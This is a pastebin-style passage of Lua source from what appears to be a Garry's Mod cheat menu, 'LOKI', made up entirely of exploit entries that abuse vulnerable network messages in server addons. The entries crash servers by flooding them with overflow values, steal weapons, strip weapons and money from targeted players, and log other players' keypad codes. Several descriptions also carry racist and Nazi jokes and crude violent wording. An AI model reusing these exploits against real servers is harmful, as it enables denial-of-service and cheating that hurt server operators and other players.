  8346. severity = 1,
  8347. bools = {enabled = false},
  8348. status = 1,
  8349. times_per_tick = math.huge,
  8350. vars = {},
  8351. scan = function() return LOKI.ValidNetString( "sendteslaeffect" ) end,
  8352. hooks = {
  8353. Think = function(tbl, sploit)
  8354. for k, v in ipairs( LOKI.GetStored( "kick5_plyz", {} ) ) do
  8355. if IsValid(v) then
  8356. if(v:IsPlayer()) then
  8357. LOKI.NetStart( sploit, "sendteslaeffect")
  8358. net.WriteEntity(v)
  8359. net.SendToServer()
  8360. end
  8361. end
  8362. end
  8363. end,
  8364. },
  8365. functions = {
  8366. { typ = "players", addr = "kick5_plyz" },
  8367. { typ = "bool" },
  8368. },
  8369. } )
  8370. LOKI.AddExploit( "Respawn Exploit", {
  8371. desc = "Respawn yourself",
  8372. severity = 1,
  8373. bools = {enabled = false},
  8374. status = 1,
  8375. times_per_tick = 1,
  8376. vars = {},
  8377. scan = function() return LOKI.DynamicNetString("DarkRP_", "_ForceSpawn") end,
  8378. hooks = {
  8379. Think = function(tbl, sploit)
  8380. LOKI.NetStart( sploit, sploit.channel )
  8381. net.SendToServer()
  8382. end,
  8383. },
  8384. functions = {
  8385. { typ = "func", Name = "Respawn", args = {}, },
  8386. },
  8387. } )
  8388. LOKI.AddExploit( "Respawn Exploit", {
  8389. desc = "Respawn yourself",
  8390. severity = 1,
  8391. bools = {enabled = false},
  8392. status = 1,
  8393. times_per_tick = 1,
  8394. vars = {},
  8395. scan = function() return LOKI.ValidNetString( "NLR_SPAWN" ) end,
  8396. hooks = {
  8397. Think = function(tbl, sploit)
  8398. LOKI.NetStart( sploit, "NLR_SPAWN")
  8399. net.WriteEntity(LOKI.GetLP())
  8400. net.SendToServer()
  8401. end,
  8402. },
  8403. functions = {
  8404. { typ = "func", Name = "Respawn", args = {}, },
  8405. },
  8406. } )
  8407. LOKI.AddExploit( "Steal Police Guns", {
  8408. desc = "WE WUZ KANGZ ND SHIET!",
  8409. severity = 1,
  8410. bools = {enabled = false},
  8411. status = 1,
  8412. times_per_tick = 1,
  8413. vars = {},
  8414. scan = function() return LOKI.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
  8415. hooks = {
  8416. Think = function(tbl, sploit)
  8417. local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
  8418. if(r_tbl.cooldown == 0) then
  8419. r_tbl.cooldown = (LOKI.REAL_CURTIME + 300)
  8420. end
  8421. LOKI.NetStart( sploit, "ARMORY_RetrieveWeapon")
  8422. net.WriteString("weapon" .. tbl[1])
  8423. net.SendToServer()
  8424. end,
  8425. },
  8426. functions = {
  8427. { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon1Name || "M16"), args = {1}, },
  8428. { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon2Name || "Shotgun"), args = {2}, },
  8429. { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon3Name || "Sniper"), args = {3}, },
  8430. },
  8431. } )
  8432. LOKI.AddExploit( "Build/Kill", {
  8433. desc = "Back in my day, we didn't need 'safe spaces'",
  8434. severity = 1,
  8435. bools = {enabled = false},
  8436. status = 1,
  8437. times_per_tick = 1,
  8438. vars = {},
  8439. scan = function() return LOKI.ValidNetString( "BuilderXToggleKill" ) end,
  8440. hooks = {
  8441. Think = function(tbl, sploit)
  8442. for k, v in ipairs( LOKI.GetStored( "buildkill_plyz", {} ) ) do
  8443. if !IsValid(v) then continue end
  8444. if(tbl[1] == 1) then
  8445. LOKI.NetStart( sploit, "BuilderXToggleBuild")
  8446. net.WriteEntity(v)
  8447. net.SendToServer()
  8448. elseif(tbl[1] == 2) then
  8449. LOKI.NetStart( sploit, "BuilderXToggleKill")
  8450. net.WriteEntity(v)
  8451. net.SendToServer()
  8452. end
  8453. end
  8454. end,
  8455. },
  8456. functions = {
  8457. { typ = "players", addr = "buildkill_plyz" },
  8458. { typ = "func", Name = "Toggle Build", args = {1}, },
  8459. { typ = "func", Name = "Toggle Kill", args = {2}, }
  8460. },
  8461. } )
  8462. LOKI.AddExploit( "Keypad Hacker", {
  8463. desc = "Roleplay as a Hacker by exploding all nearby keypads",
  8464. severity = 1,
  8465. bools = {enabled = false},
  8466. status = 1,
  8467. times_per_tick = 1,
  8468. vars = {},
  8469. prevalidated = true,
  8470. scan = function() return LOKI.ValidNetString( "start_wd_emp" ) && wd_Config != nil end,
  8471. hooks = {
  8472. Think = function(tbl, sploit)
  8473. local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
  8474. if(r_tbl.cooldown == 0) then
  8475. r_tbl.cooldown = (LOKI.REAL_CURTIME + (wd_Config.EmpCooldown || 100))
  8476. end
  8477. LOKI.NetStart( sploit, "start_wd_emp")
  8478. net.SendToServer()
  8479. end,
  8480. },
  8481. functions = {
  8482. { typ = "func", Name = "Hack", },
  8483. },
  8484. } )
  8485. LOKI.AddExploit( "Ja, Mein Führer", {
  8486. desc = "Submit candidacy for the Führer election",
  8487. severity = 1,
  8488. bools = {enabled = false},
  8489. status = 1,
  8490. times_per_tick = 1,
  8491. vars = {},
  8492. scan = function() return LOKI.ValidNetString( "1942_Fuhrer_SubmitCandidacy" ) end,
  8493. hooks = {
  8494. Think = function(tbl, sploit)
  8495. LOKI.NetStart( sploit, "1942_Fuhrer_SubmitCandidacy")
  8496. net.WriteString(LOKI.GetLP():Nick())
  8497. net.SendToServer()
  8498. end,
  8499. },
  8500. functions = {
  8501. { typ = "func", Name = "Submit", },
  8502. },
  8503. } )
  8504. LOKI.AddExploit( "Keypad Hacker", {
  8505. desc = "Inspector gadget these fools",
  8506. severity = 1,
  8507. bools = {enabled = false},
  8508. status = 1,
  8509. times_per_tick = 1,
  8510. vars = {},
  8511. scan = function() return LOKI.DynamicNetString( "keypad" ) end,
  8512. hooks = {
  8513. PostRender = function(tbl, sploit)
  8514. local e = LOKI.GetLP():GetEyeTrace().Entity
  8515. if IsValid(e) and e.GetStatus then
  8516. local text;
  8517. local color;
  8518. if(LOKI.KeypadCodes[e] && LOKI.KeypadCodes[e] != "") then
  8519. text = LOKI.KeypadCodes[e];
  8520. color = Color( 105, 255, 105, 150 )
  8521. elseif(LOKI.TempKeypadCodes[e] && LOKI.TempKeypadCodes[e] != "") then
  8522. text = LOKI.TempKeypadCodes[e];
  8523. color = Color( 250, 150, 150, 150 )
  8524. else
  8525. text = "Unknown"
  8526. color = Color(150,150,150,150)
  8527. end
  8528. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  8529. surface.SetMaterial( grad )
  8530. surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
  8531. LOKI.DrawText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  8532. end
  8533. for k,v in ipairs(LOKI.ents.FindByGlobal("GetStatus")) do
  8534. if(v.GetNumStars && !v.GetText) then
  8535. v.GetText = function() return string.rep('*', v:GetNumStars()) end
  8536. end
  8537. if(!v.GetSecure) then
  8538. v.GetSecure = function() return true end
  8539. end
  8540. if IsValid(v) then
  8541. if v != e and LOKI.GetLP():GetPos():Distance( v:GetPos() ) < 8000 then
  8542. local pos = v:GetPos():ToScreen()
  8543. if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
  8544. if (LOKI.KeypadCodes[v] && LOKI.KeypadCodes[v] != "") then
  8545. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  8546. surface.SetMaterial( grad )
  8547. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  8548. LOKI.DrawText( LOKI.KeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  8549. else
  8550. if(LOKI.TempKeypadCodes[v] && LOKI.TempKeypadCodes[v] != "") then
  8551. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  8552. surface.SetMaterial( grad )
  8553. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  8554. LOKI.DrawText( LOKI.TempKeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  8555. else
  8556. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  8557. surface.SetMaterial( grad )
  8558. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  8559. LOKI.DrawText( "Unknown", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  8560. end
  8561. end
  8562. end
  8563. end
  8564. end
  8565. end
  8566. end,
  8567. Tick = function(tbl, sploit)
  8568. for k, v in ipairs( player.GetAll() ) do
  8569. local kp = v:GetEyeTrace().Entity
  8570. if IsValid(kp) && IsValid(v) and kp.GetStatus and v:EyePos():Distance(kp:GetPos()) <= 120 then
  8571. LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp] or ""
  8572. LOKI.KeypadText[kp] = LOKI.KeypadText[kp] or ""
  8573. LOKI.KeypadStatus[kp] = LOKI.KeypadStatus[kp] or 0
  8574.  
  8575. if isfunction(kp.GetText) && isfunction(kp.GetStatus) && (kp:GetText() != LOKI.KeypadText[kp] or kp:GetStatus() != LOKI.KeypadStatus[kp]) then
  8576. LOKI.KeypadText[kp] = kp:GetText()
  8577. LOKI.KeypadStatus[kp] = kp:GetStatus()
  8578. if(LOKI.KeypadText[kp] && !kp:GetSecure()) then
  8579. LOKI.TempKeypadCodes[kp] = LOKI.KeypadText[kp]
  8580. if LOKI.KeypadStatus[kp] == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
  8581. LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
  8582. if(!system.HasFocus()) then system.FlashWindow() end
  8583. end
  8584. else
  8585. local i = LOKI.KPGetHoveredElement(v, kp)
  8586. if (i) then i = i.text end
  8587. if LOKI.KeypadText[kp] then
  8588. if kp:GetStatus() == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
  8589. LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
  8590. if(!system.HasFocus()) then system.FlashWindow() end
  8591. end
  8592. end
  8593.  
  8594. if LOKI.KeypadText[kp] == "" || kp:GetStatus() == LOKI.GetKeypadStatus(kp)[3] then
  8595. LOKI.TempKeypadCodes[kp] = ""
  8596. end
  8597.  
  8598. if(LOKI.SafeToNumber(i) && (LOKI.SafeToNumber(i) > 0 && LOKI.SafeToNumber(i) < 10) && kp:GetText():len() != 0) then
  8599. LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp]..LOKI.SafeToNumber(i)
  8600. end
  8601. end
  8602. end
  8603. end
  8604. end
  8605. end,
  8606. },
  8607. functions = {
  8608. { typ = "bool", },
  8609. },
  8610. } )
  8611. LOKI.AddExploit( "Server Crasher", {
  8612. desc = "Guaranteed server crash",
  8613. severity = 100,
  8614. bools = {enabled = false},
  8615. status = 1,
  8616. times_per_tick = math.huge,
  8617. vars = {},
  8618. prevalidated = true,
  8619. scan = function() return (LOKI.ValidNetString( "textstickers_entdata" ) || LOKI.ValidNetString( "texstickers_entdata" )) && TexStickers end,
  8620. hooks = {
  8621. Think = function(tbl, sploit)
  8622. if(LOKI.ValidNetString( "textstickers_entdata" )) then
  8623. LOKI.NetStart( sploit, "textstickers_entdata" )
  8624. else
  8625. LOKI.NetStart( sploit, "texstickers_entdata" )
  8626. end
  8627. net.WriteUInt( 0xFFFFFFFF, 32 )
  8628. net.SendToServer()
  8629. end,
  8630. },
  8631. functions = {
  8632. { typ = "bool", },
  8633. },
  8634. } )
  8635. LOKI.AddExploit( "Server Crasher", {
  8636. desc = "Dunks the server in one",
  8637. severity = 100,
  8638. bools = {enabled = false},
  8639. status = 1,
  8640. times_per_tick = 1,
  8641. vars = {},
  8642. scan = function() return LOKI.ValidNetString( "fly_over_end" ) end,
  8643. hooks = {
  8644. Think = function(tbl, sploit)
  8645. LOKI.NetStart( sploit, "fly_over_end" )
  8646. net.WriteString(tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)))
  8647. net.SendToServer()
  8648. end,
  8649. },
  8650. functions = {
  8651. { typ = "func", Name = "Crash Jackson", },
  8652. },
  8653. } )
  8654. LOKI.AddExploit( "Server Crasher", {
  8655. desc = "Instantly 1 tap the server",
  8656. severity = 100,
  8657. bools = {enabled = false},
  8658. status = 3,
  8659. times_per_tick = 1,
  8660. vars = {},
  8661. scan = function() return LOKI.ValidNetString( "SimplicityAC_aysent" ) end,
  8662. hooks = {
  8663. Think = function(tbl, sploit)
  8664. LOKI.NetStart( sploit, "SimplicityAC_aysent")
  8665. net.WriteUInt(1, 8)
  8666. net.WriteUInt(0xFFFFFFFF, 32)
  8667. net.WriteTable({})
  8668. net.SendToServer()
  8669. end,
  8670. },
  8671. functions = {
  8672. { typ = "func", Name = "Crash it", },
  8673. },
  8674. } )
  8675. LOKI.AddExploit( "Server Crasher", {
  8676. desc = "Whoops, did I accidentally leave this in here?",
  8677. severity = 100,
  8678. bools = {enabled = false},
  8679. status = 2,
  8680. times_per_tick = math.huge,
  8681. scan = function() return LOKI.ValidNetString( "rHit.Confirm.Placement" ) end,
  8682. hooks = {
  8683. Think = function(tbl, sploit)
  8684. LOKI.NetStart( sploit, 'rHit.Confirm.Placement' )
  8685. net.WriteInt( 0xFFFFFFFF, 32 )
  8686. net.WriteEntity( LOKI.GetLP() )
  8687. net.SendToServer()
  8688. end,
  8689. net = {
  8690. Receive = function(sploit, strName)
  8691. if(strName == "rHit.Send.Message") then
  8692. return false
  8693. end
  8694. end,
  8695. },
  8696. },
  8697. functions = {
  8698. { typ = "bool", },
  8699. },
  8700. } )
  8701. LOKI.AddExploit( "Server Crasher", {
  8702. desc = "Brutal server rape",
  8703. severity = 100,
  8704. bools = {enabled = false},
  8705. status = 1,
  8706. times_per_tick = math.huge,
  8707. scan = function() return LOKI.ValidNetString( "thiefnpc" ) || LOKI.ValidNetString( "cst_badnpc" ) end,
  8708. hooks = {
  8709. Think = function(tbl, sploit)
  8710. if(LOKI.ValidNetString( "thiefnpc" )) then
  8711. LOKI.NetStart( sploit, "thiefnpc")
  8712. elseif(LOKI.ValidNetString( "cst_badnpc" )) then
  8713. LOKI.NetStart( sploit, "cst_badnpc")
  8714. else
  8715. return
  8716. end
  8717. net.WriteDouble(LOKI.GetLP():EntIndex())
  8718. net.SendToServer()
  8719. end,
  8720. },
  8721. functions = {
  8722. { typ = "bool", },
  8723. },
  8724. } )
  8725. LOKI.AddExploit( "Server Crasher", {
  8726. desc = "memset(SERVER, nullptr, size(SERVER) + 1)",
  8727. severity = 100,
  8728. bools = {enabled = false},
  8729. status = 1,
  8730. times_per_tick = math.huge,
  8731. scan = function() return LOKI.ValidNetString( "nSetExpression" ) end,
  8732. hooks = {
  8733. Think = function(tbl, sploit)
  8734. if(!sploit.var || sploit.var == 3) then
  8735. sploit.var = 1
  8736. else
  8737. sploit.var = sploit.var + 1
  8738. end
  8739. LOKI.NetStart( sploit, "nSetExpression")
  8740. net.WriteFloat(sploit.var)
  8741. net.SendToServer()
  8742. end,
  8743. },
  8744. functions = {
  8745. { typ = "bool", },
  8746. },
  8747. } )
  8748. LOKI.AddExploit( "Server Crasher", {
  8749. desc = "*flex*",
  8750. severity = 100,
  8751. bools = {enabled = false},
  8752. status = 1,
  8753. times_per_tick = math.huge,
  8754. msgs_per_tick = 2,
  8755. prevalidated = true,
  8756. scan = function() return LOKI.ValidNetString( "TowTruck_CreateTowTruck", "TOWTRUCK_RemoveTowTruck" ) end,
  8757. hooks = {
  8758. Think = function(tbl, sploit)
  8759. LOKI.NetStart( sploit, "TowTruck_CreateTowTruck")
  8760. net.SendToServer()
  8761. LOKI.NetStart( sploit, "TOWTRUCK_RemoveTowTruck")
  8762. net.SendToServer()
  8763. end,
  8764. usermessage = {
  8765. IncomingMessage = function(sploit, varargs)
  8766. if(varargs[1] == "_Notify") then
  8767. return false
  8768. end
  8769. end,
  8770. },
  8771. },
  8772. functions = {
  8773. { typ = "bool", },
  8774. },
  8775. } )
  8776. LOKI.AddExploit( "Server Crasher", {
  8777. desc = tostring(LOKI.GetLP()) .. " hit SERVER in head for 100 damage",
  8778. severity = 100,
  8779. bools = {enabled = false},
  8780. status = 2,
  8781. times_per_tick = math.huge,
  8782. scan = function() return LOKI.ValidNetString( "StaminaDrowning" ) end,
  8783. hooks = {
  8784. Think = function(tbl, sploit)
  8785. LOKI.NetStart( sploit, "StaminaDrowning")
  8786. net.SendToServer()
  8787. end,
  8788. },
  8789. functions = {
  8790. { typ = "bool", },
  8791. },
  8792. } )
  8793. LOKI.AddExploit( "Server Crasher", {
  8794. desc = "game.GetWorld():Activate()",
  8795. severity = 100,
  8796. bools = {enabled = false},
  8797. status = 1,
  8798. times_per_tick = math.huge,
  8799. vars = {},
  8800. scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
  8801. initial = function(sploit)
  8802. local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
  8803. if(!vars.NAME) then
  8804. local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
  8805. if(ItemsList) then
  8806. for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
  8807. if(!v.LoadData) then
  8808. vars.NAME = v.NAME
  8809. break
  8810. end
  8811. end
  8812. end
  8813. end
  8814. end,
  8815. hooks = {
  8816. Think = function(tbl, sploit)
  8817. local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
  8818. LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
  8819. net.WriteTable({type = 6, ENTITY = "worldspawn", SKIN = 0, MODEL = "models/error.mdl", NAME = vars.NAME || "Beer"})
  8820. net.WriteInt(0, 16)
  8821. net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
  8822. net.SendToServer()
  8823. end,
  8824. },
  8825. functions = {
  8826. { typ = "bool", Name = "Give me shit", },
  8827. },
  8828. } )
  8829. --WUMAAccessStream has a ReadData related lag exploit
  8830. LOKI.AddExploit( "Server Crasher", {
  8831. desc = "Crashes any server",
  8832. severity = 100,
  8833. bools = {enabled = false},
  8834. status = 1,
  8835. times_per_tick = math.huge,
  8836. scan = function() return LOKI.ValidNetString( "npctool_relman_up" ) end,
  8837. hooks = {
  8838. Think = function(tbl, sploit)
  8839. LOKI.NetStart(sploit, "npctool_relman_up")
  8840. net.WriteUInt(-1, 12)
  8841. net.SendToServer()
  8842. end,
  8843. },
  8844. functions = {
  8845. { typ = "bool" },
  8846. },
  8847. } )
  8848. LOKI.AddExploit( "Server Crasher", {
  8849. desc = "Overflow the server bathtub",
  8850. severity = 100,
  8851. bools = {enabled = false},
  8852. status = 1,
  8853. times_per_tick = math.huge,
  8854. scan = function() return LOKI.ValidNetString( "CreateBadgeSpray" ) end,
  8855. hooks = {
  8856. Think = function(tbl, sploit)
  8857. LOKI.NetStart( sploit, "CreateBadgeSpray")
  8858. net.SendToServer()
  8859. end,
  8860. },
  8861. functions = {
  8862. { typ = "bool", },
  8863. },
  8864. } )
  8865. LOKI.AddExploit( "Server Crasher", {
  8866. desc = "Shred the server",
  8867. severity = 100,
  8868. bools = {enabled = false},
  8869. status = 1,
  8870. times_per_tick = math.huge,
  8871. scan = function() return LOKI.ValidNetString( "CallP" ) end,
  8872. hooks = {
  8873. Think = function(tbl, sploit)
  8874. LOKI.NetStart( sploit, "CallP" )
  8875. net.WriteEntity(LOKI.GetLP())
  8876. net.WriteBit(true)
  8877. net.SendToServer()
  8878. end,
  8879. },
  8880. functions = {
  8881. { typ = "bool", },
  8882. },
  8883. } )
  8884. LOKI.AddExploit( "Server Crasher", {
  8885. desc = "Burst the servers ear drums",
  8886. severity = 100,
  8887. bools = {enabled = false},
  8888. status = 1,
  8889. times_per_tick = math.huge,
  8890. scan = function() return usermessage.GetTable()["sounds_yo"] != nil || LOKI.ValidNetString("sounds_yo") end,
  8891. hooks = {
  8892. Think = function(tbl, sploit)
  8893. LOKI.RCC(sploit, "sounds_request")
  8894. end,
  8895. net = {
  8896. Receive = function(sploit, strName)
  8897. if(strName == "sounds_yo") then
  8898. return false
  8899. end
  8900. end,
  8901. },
  8902. },
  8903. functions = {
  8904. { typ = "bool", },
  8905. },
  8906. } )
  8907. LOKI.AddExploit( "Server Crasher", {
  8908. desc = "Open the floodgates",
  8909. severity = 100,
  8910. bools = {enabled = false},
  8911. status = 1,
  8912. times_per_tick = math.huge,
  8913. scan = function() return LOKI.ValidNetString("dialogAlterWeapons") end,
  8914. hooks = {
  8915. Think = function(tbl, sploit)
  8916. LOKI.NetStart(sploit, "dialogAlterWeapons", true)
  8917. net.WriteString("Add")
  8918. net.WriteTable({[1] = "worldspawn"})
  8919. net.SendToServer()
  8920. end,
  8921. },
  8922. functions = {
  8923. { typ = "bool", },
  8924. },
  8925. } )
  8926. LOKI.AddExploit( "Server Crasher", {
  8927. desc = "Burn the books",
  8928. severity = 100,
  8929. bools = {enabled = false},
  8930. status = 1,
  8931. times_per_tick = math.huge,
  8932. scan = function() return LOKI.ValidNetString("hcLog") end,
  8933. hooks = {
  8934. Think = function(tbl, sploit)
  8935. LOKI.NetStart(sploit, "hcLog", true)
  8936. net.SendToServer()
  8937. end,
  8938. },
  8939. functions = {
  8940. { typ = "bool", },
  8941. },
  8942. } )
  8943. /*LOKI.AddExploit( "Server Crasher", {
  8944. desc = "Fuel is flammable? Who knew!",
  8945. severity = 100,
  8946. bools = {enabled = false},
  8947. status = 1,
  8948. times_per_tick = math.huge,
  8949. scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
  8950. hooks = {
  8951. Think = function(tbl, sploit)
  8952. LOKI.NetStart( sploit, "simfphys_gasspill" )
  8953. net.SendToServer()
  8954. end,
  8955. },
  8956. functions = {
  8957. { typ = "bool", },
  8958. },
  8959. } )*/
  8960.  
  8961. LOKI.AddExploit( "Strip Weapons", {
  8962. desc = "Strip weapons/money from everybody",
  8963. severity = 90,
  8964. bools = {enabled = false},
  8965. status = 1,
  8966. times_per_tick = 1,
  8967. vars = {},
  8968. scan = function() return LOKI.ValidNetString( "drugseffect_remove" ) end,
  8969. hooks = {
  8970. Think = function(tbl, sploit)
  8971. if(tbl[1] == 1) then
  8972. LOKI.NetStart( sploit, "drugseffect_remove")
  8973. net.SendToServer()
  8974. elseif(tbl[1] == 2) then
  8975. LOKI.NetStart( sploit, "drugs_money")
  8976. net.SendToServer()
  8977. end
  8978. end,
  8979. },
  8980. functions = {
  8981. { typ = "func", Name = "Strip Weapons", args = {1}, },
  8982. { typ = "func", Name = "Strip Money", args = {2}, },
  8983. },
  8984. } )
  8985. LOKI.AddExploit( "Strip Weapons", {
  8986. desc = "Prevent players from using their weapons",
  8987. severity = 90,
  8988. bools = {enabled = false},
  8989. status = 1,
  8990. times_per_tick = 1,
  8991. vars = {},
  8992. scan = function() return LOKI.ValidNetString( "Cover_WheelU" ) end,
  8993. hooks = {
  8994. Think = function(tbl, sploit)
  8995. for k, v in ipairs( LOKI.GetStored( "stripper2_plyz", {} ) ) do
  8996. local weaps = v:GetWeapons()
  8997. LOKI.NetStart(sploit, "Cover_WheelU") --Cover_WheelD works too
  8998. net.WriteEntity(v)
  8999. net.WriteTable({weaps[math.random(#weaps)], weaps[math.random(#weaps)]})
  9000. net.SendToServer()
  9001. end
  9002. end,
  9003. },
  9004. functions = {
  9005. { typ = "players", addr = "stripper2_plyz" },
  9006. { typ = "bool", },
  9007. },
  9008. } )
  9009. LOKI.AddExploit( "Strip Weapons", {
  9010. desc = "Prevent players from using their weapons",
  9011. severity = 90,
  9012. bools = {enabled = false},
  9013. status = 1,
  9014. times_per_tick = 1,
  9015. vars = {},
  9016. scan = function() return LOKI.ValidNetString( "DCHOLDSTER" ) end,
  9017. hooks = {
  9018. Think = function(tbl, sploit)
  9019. for k, v in ipairs( LOKI.GetStored( "stripper3_plyz", {} ) ) do
  9020. if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
  9021. local weaps = v:GetWeapons()
  9022. LOKI.NetStart(sploit, "DCHOLDSTER")
  9023. net.WriteEntity(v:GetActiveWeapon())
  9024. net.WriteString(weaps[math.random(#weaps)]:GetClass())
  9025. net.SendToServer()
  9026. end
  9027. end,
  9028. },
  9029. functions = {
  9030. { typ = "players", addr = "stripper3_plyz" },
  9031. { typ = "bool", },
  9032. },
  9033. } )
  9034. LOKI.AddExploit( "Strip Weapons", {
  9035. desc = "Automatically prevent all mass shootings",
  9036. severity = 90,
  9037. bools = {enabled = false},
  9038. status = 1,
  9039. times_per_tick = 1,
  9040. vars = {},
  9041. scan = function() return LOKI.ValidNetString( "STOOL_FISHSPOT_REMOVE" ) end,
  9042. hooks = {
  9043. Think = function(tbl, sploit)
  9044. for k, v in ipairs( LOKI.GetStored( "stripper4_plyz", {} ) ) do
  9045. if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
  9046. LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
  9047. net.WriteEntity(v:GetActiveWeapon())
  9048. net.SendToServer()
  9049. end
  9050. end,
  9051. },
  9052. functions = {
  9053. { typ = "players", addr = "stripper4_plyz" },
  9054. { typ = "bool", },
  9055. },
  9056. } )
  9057. LOKI.AddExploit( "Strip Weapons", {
  9058. desc = "Automatically enforce gun control laws",
  9059. severity = 90,
  9060. bools = {enabled = false},
  9061. status = 1,
  9062. times_per_tick = 1,
  9063. vars = {},
  9064. scan = function() return LOKI.ValidNetString( "DestroyTable" ) end,
  9065. hooks = {
  9066. Think = function(tbl, sploit)
  9067. for k, v in ipairs( LOKI.GetStored( "stripper5_plyz", {} ) ) do
  9068. if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
  9069. LOKI.NetStart(sploit, "DestroyTable")
  9070. net.WriteEntity(v:GetActiveWeapon())
  9071. net.SendToServer()
  9072. end
  9073. end,
  9074. },
  9075. functions = {
  9076. { typ = "players", addr = "stripper5_plyz" },
  9077. { typ = "bool", },
  9078. },
  9079. } )
  9080. LOKI.AddExploit( "Strip Weapons", {
  9081. desc = "Remove the guns from the hands of the criminals",
  9082. severity = 90,
  9083. bools = {enabled = false},
  9084. status = 1,
  9085. times_per_tick = 1,
  9086. vars = {},
  9087. scan = function() return LOKI.ValidNetString( "AS_DoAttack" ) end,
  9088. hooks = {
  9089. Think = function(tbl, sploit)
  9090. for k, v in ipairs( LOKI.GetStored( "stripper6_plyz", {} ) ) do
  9091. if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
  9092. LOKI.NetStart(sploit, "AS_DoAttack")
  9093. net.WriteTable({Weapon = v:GetActiveWeapon():EntIndex(), Target = 0})
  9094. net.SendToServer()
  9095. end
  9096. end,
  9097. },
  9098. functions = {
  9099. { typ = "players", addr = "stripper6_plyz" },
  9100. { typ = "bool", },
  9101. },
  9102. } )
  9103. LOKI.LNextNuke = {}
  9104. function LOKI.NukeWeapon( ent, sploit )
  9105. if !ent:IsValid() then return end
  9106. if LOKI.LNextNuke[ent] and LOKI.LNextNuke[ent] > SysTime() then return end
  9107. LOKI.NetStart( sploit, "properties")
  9108. net.WriteString("remove")
  9109. net.WriteEntity( ent )
  9110. net.SendToServer()
  9111. LOKI.LNextNuke[ent] = SysTime() + 0.5
  9112. end
  9113. function LOKI.RemoveEnts( tab, sploit )
  9114. for k, v in pairs( tab ) do
  9115. if !v:IsValid() then continue end
  9116. if LOKI.LNextNuke[v] and LOKI.LNextNuke[v] > SysTime() then continue end
  9117. LOKI.NetStart( sploit, "properties")
  9118. net.WriteString("remove")
  9119. net.WriteEntity( v )
  9120. net.SendToServer()
  9121. end
  9122. end
  9123. LOKI.OpenMenu(true)
  9124.  
  9125. -- vk.com/urbanichka
Advertisement
Add Comment
Please, Sign In to add comment